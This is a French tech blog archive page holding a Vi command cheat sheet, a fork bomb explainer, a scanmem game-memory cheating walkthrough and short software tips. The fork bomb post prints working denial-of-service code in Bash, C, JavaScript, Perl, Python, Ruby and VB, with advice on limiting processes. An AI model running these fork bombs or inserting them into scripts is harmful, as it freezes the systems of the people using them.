Catégorie : Divers

1 juillet 2015 /

Les modes d’édition de Vi

Vi est un programme un peu surprenant qui ne s’utilise pas comme la plupart des éditeurs de texte que vous connaissez. Il vous faudra un peu de temps pour vous y habituer, mais il devient indispensable par la suite.
Vi possède trois modes de travail différents: interactif, insertion et commande

Mode interactif : c’est le mode par défaut par lequel vous commencez. En lançant Vim, vous êtes en mode interactif.

Dans ce mode, vous ne peut pas écrire de texte. Le mode interactif est un mode qui permet de se déplacer dans le texte, de supprimer une ligne, copier-coller du texte, rejoindre une ligne précise, annuler ses actions, etc.

Mode insertion :Il vous permet taper du texte et ce dernier s’insère à l’endroit où se trouve le curseur.

Pour entrer dans ce mode, il existe plusieurs possibilités. L’une des plus courantes est d’appuyer sur la touche i(insertion). Pour en sortir, il faut appuyer sur la touche Echap.

Mode commande : ce mode permet de lancer des commandes telles que « quitter », « enregistrer », etc. Vous pouvez aussi l’utiliser pour activer des options de Vim (comme la coloration syntaxique, l’affichage du numéro des lignes…). Vous pouvez même envoyer des commandes au shell (la console) telles que ls, locate, cp, etc.

Pour activer ce mode, vous devez être en mode interactif et appuyer sur la touche deux points « : ». Vous validerez la commande avec la touche Entrée et reviendrez alors au mode interactif.

Le déplacement
h, j, k et l : se déplacer dans tous les sens

En mode interactif (appuyez sur la touche Echap si vous n’y êtes pas déjà):

h : aller à gauche ;
: aller en bas ;
k : aller en haut ;
: aller à droite.
0 et $: se déplacer en début et fin de ligne
w: se déplacer de mot en mot
:w : enregistrer le fichier
:q : quitter
:wq : enregistrer puis quitter
x : effacer des lettres
dd : effacer des lignes…
dw : supprimer un mot
d0 et d$ : supprimer le début ou la fin de la ligne
yy : copier une ligne en mémoire
p : coller
r : remplacer une lettre
u : annuler les modifications
/ : rechercher un mot, puis  » n  » pour aller vers le bas et  » N  » pour le haut.
:! : lancer une commande externen par exemple  :!ls, vous affichera le contenu du répertoire courant.
:s : rechercher et remplacer du texte

  • :s/ancien/nouveau : remplace la première occurrence de la ligne où se trouve le curseur ;
  • :s/ancien/nouveau/g : remplace toutes les occurrences de la ligne où se trouve le curseur ;
  • :#,#s/ancien/nouveau/g : remplace toutes les occurrences dans les lignes n° # à # du fichier ;
  • :%s/ancien/nouveau/g : remplace toutes les occurrences dans tout le fichier. C’est peut-être ce que vous utiliserez le plus fréquemment.

:sp : découper l’écran horizontalement
:vsp : découper l’écran verticalement

Les principaux raccourcis clavier en écran splitté

Chaque morceau de l’écran (correspondant à un fichier) est appelé viewport.

Ctrl + w puis Ctrl + w : navigue de viewport en viewport. Répétez l’opération plusieurs fois pour accéder au viewport désiré.
Ctrl + w puis j : déplace le curseur pour aller au viewport juste en dessous. La même chose fonctionne avec les touches h, k et l que l’on utilise traditionnellement pour se déplacer.
Ctrl + w puis + : agrandit le viewport actuel.
Ctrl + w puis – : réduit le viewport actuel.
Ctrl + w puis = : égalise à nouveau la taille des viewports.
Ctrl + w puis r : échange la position des viewports. Fonctionne aussi avec « R » majuscule pour échanger en sens inverse.
Ctrl + w puis q : ferme le viewport actuel.

 

 

21 juin 2015 /

La fork bomb est une forme d’attaque par déni de service contre un système en utilisant la fonction fork. Elle se base sur la supposition que le nombre de programmes et de processus pouvant être exécutés simultanément sur un ordinateur est limité.

Une fork bomb fonctionne en créant un grand nombre de processus très rapidement afin de saturer l’espace disponible dans la liste des processus gardée par le système d’exploitation. Si la table des processus se met à saturer, aucun nouveau programme ne peut démarrer tant qu’aucun autre ne termine. Même si cela arrive, il est peu probable qu’un programme utile démarre étant donné que les instances de la bombe attendent chacune d’occuper cet emplacement libre.

Non seulement les fork bombs utilisent de la place dans la table des processus, mais elles utilisent chacune du temps processeur et de la mémoire. En conséquence, le système et les programmes tournant à ce moment-là ralentissent et deviennent même impossibles à utiliser.

En Bash:

:(){ :|:& };:

Explications:

:() définit une fonction nommée : .
Puis { :|:& } est le corps de la fonction. Dans celui-ci, la fonction s’appelle elle-même (:), puis redirige la sortie à l’aide d’un pipe (|) sur l’entrée de la même fonction : et cache le processus en fond avec &. La fonction, ensuite appelée avec :, s’appelle récursivement à l’infini.

La fork bomb fonctionne en créant autant de processus que possible. Ainsi, s’en premunir, il suffit simplement de limiter le nombre de processus pouvant être exécutés par un programme ou par un utilisateur. En permettant aux utilisateurs de non-confiance de lancer seulement un petit nombre de processus, le danger d’une fork bomb, intentionnelle ou non, est réduit. Toutefois, cela n’empêche pas un groupe d’utilisateurs de collaborer pour consommer les emplacements processus, à moins que la limite totale des processus soit plus grande que la somme des limites des processus individuelles.

Les systèmes de type Unix permettent de limiter le nombre de processus via la commande ulimit. Dans un noyau Linux, cette limite peut être indiquée via RLIMIT_NPROC. Si un processus appelle fork et que l’utilisateur possède déjà plus de RLIMIT_NPROC processus alors le fork échoue. Ici encore la limitation est propre à un utilisateur donné et ne permet pas de déjouer les attaques simultanées par plusieurs utilisateurs. Elle permet toutefois de limiter l’impact de forks accidentels, par exemple lors de la conception d’un logiciel ou d’un bogue dans une application.

 

Voici d’autre façon de faire des Fork Bomb:

En langage C:

#include
int main(void)
{
while(1) {
/* ici on peut ajouter un malloc pour utiliser plus de ressources */
fork();
}
return 0;
}

En Javascript:

function open_target_blank()
{
window.open(window.location);
}
window.onload = open_target_blank();
OU
while (true)
{
var w = window.open();
w.document.write(document.documentElement.outerHTML || document.documentElement.innerHTML);
}

En Perl:

fork while fork

En Perl depuis un terminal:

perl -e "fork while fork" &

En Python:

import os
while True:
os.fork()

En Ruby:

loop { fork }

En VB:

Private Sub Main()
Do
Shell App.EXEName
Loop
End Sub

20 juin 2015 /

Scanmem est un programme qui permet de modifier la une variable dans la RAM. On peut l’utiliser pour tricher ou changer le comportement d’un jeu.
Pour cet exemple, je vais utiliser Scanmem sur Borderland Pre-Sequel pour avoir le max d’argent.

Il faut d’abord récupérer le PID du Borderland Pre-Sequel, on lance donc le jeu et on fait un atl tab pour pouvoir ouvrir un terminal.
puis:

ps -ef | -i borderland

Il y a plusieurs processus, dans le cas présent la ligne qui nous intéresse est en gras.

starmate@entropia:~ $ ps -ef | grep -i borderland
starmate 2858 2857 0 15:02 ? 00:00:00 /bin/sh -c "/media/Starmate/steamapps/common/BorderlandsPreSequel/./BorderlandsPreSequel"
starmate 2859 2858 82 15:02 ? 00:01:02 /media/Starmate/steamapps/common/BorderlandsPreSequel/./BorderlandsPreSequel
starmate 2954 2779 0 15:04 pts/3 00:00:00 grep --color=auto -i borderland

Le PID du Borderlands est donc 2859, nous allons maintenant faire:

sudo scanmem 2859

Nous sommes maintenant dans une invite de commende du programme, il faut a présent identifier la case memoire où se trouve la valeur à modifier (ici c’est notre montant en cash qui nous interesse).

J’ai 156258 dollars, je tape donc:

0> 156258

Après avoir scanner la mémoire il affiche sur sa dernière ligne:

info: we currently have 4 matches.
4>

Il nous faut donc affiner cette recherche pour avoir le nombre le plus restreint possible. Je vais donc acheter un objet ou tuer un monstre pour modifier la valeur de mon porte monnaie.

Puis je recommence mon scan avec la nouvelle valeur:

4> 156248

Le programme me dis maintenant qu’il ne reste plus que deux variables en mémoire avec cette valeur.

info: we currently have 2 matches.
2>

Cela est suffisamment bas pour tenter de modifier la valeur, il faut donc maintenant faire un:

2> set 999999999

Bravo, vous avez maintenant 999999999$ Ingame, cela marche aussi avec les cristaux, l’Xp, pierre lunaire etc… ainsi que la grande majorité des jeux

18 juin 2015 /

Popcorn Time à maintenant une version X, qui a émergé il y a quelques jours sur le Web.

Porn Time est un fork de PopCorn Time, il a une interface complétement identique, par contre, le contenus est très… différent! Le logiciel est disponible sous Linux, et il est open source.

Téléchargement ici.

15 juin 2015 /

Voici une petite astuce pour faire des captures-écrans nativement depuis Firefox.

Appuyez sur les touches suivantes pour afficher la console développeur:

MAJ + F2

Il n’y a plus qu’a saisir dans cette console:

screenshot --fullpage capture.png

Cela va récupérer la page en entier et va la nommer « capture.png ».
Sans nom de fichier, l’image sera nommée « Capture d’écran + la date et l’heure.

Voici les autres options possibles :

--delay x : Permets de capturer l'image après x secondes.
--selector : Permets de récupérer un élément à partir de son sélecteur CSS.
--chrome : Permets d'avoir une capture avec une fenêtre de navigateur autour
--clipboard : Permets de stocker l'image dans le presse-papier